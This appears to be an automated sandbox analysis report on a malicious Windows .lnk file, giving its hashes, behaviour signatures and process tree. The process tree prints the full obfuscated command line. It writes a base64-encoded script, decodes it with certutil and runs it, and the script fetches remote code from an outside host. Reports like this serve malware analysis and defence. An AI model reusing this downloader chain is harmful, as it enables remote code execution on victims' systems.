Analysis

  • max time kernel
    3s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    09/02/2023, 14:16

General

  • Target

    20da683eb5903624a7c6b1824ba09a99.lnk

  • Size

    485B

  • MD5

    20da683eb5903624a7c6b1824ba09a99

  • SHA1

    45d5e2b2529d35d55eda037e7752b8c3a6119e87

  • SHA256

    d9ca073cae31b8240d4c8295437147a2721158f25c3791c32bd78e58eabe9889

  • SHA512

    3317d0f72d0953399ffad7c6fb53126cf738bae2f7fdf128579e68fb10564608436010b5e3c46a6edd851f47dc240332cd8fcc3937b0c2c80702e3463dfe359a

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\20da683eb5903624a7c6b1824ba09a99.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:820
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "md C:\KZUXT80\>nul 2>&1 &&s^eT SHGP=C:\KZUXT80\^KZUXT80.^jS&&echo dmFyIEN5bkQ9InNjIisiciI7RHluRD0iaXAiKyJ0OmgiO0V5bkQ9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDeW5EK0R5bkQrRXluRCsiLy82cnVhaGkud2ViY29uZWN0YS5waWNzLz8xLyIpOw==>!SHGP!&&cErtUtil -f -dEco^de !SHGP! !SHGP!&&ca^ll !SHGP!"
      2⤵
        PID:784

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/820-54-0x000007FEFBAC1000-0x000007FEFBAC3000-memory.dmp

      Filesize

      8KB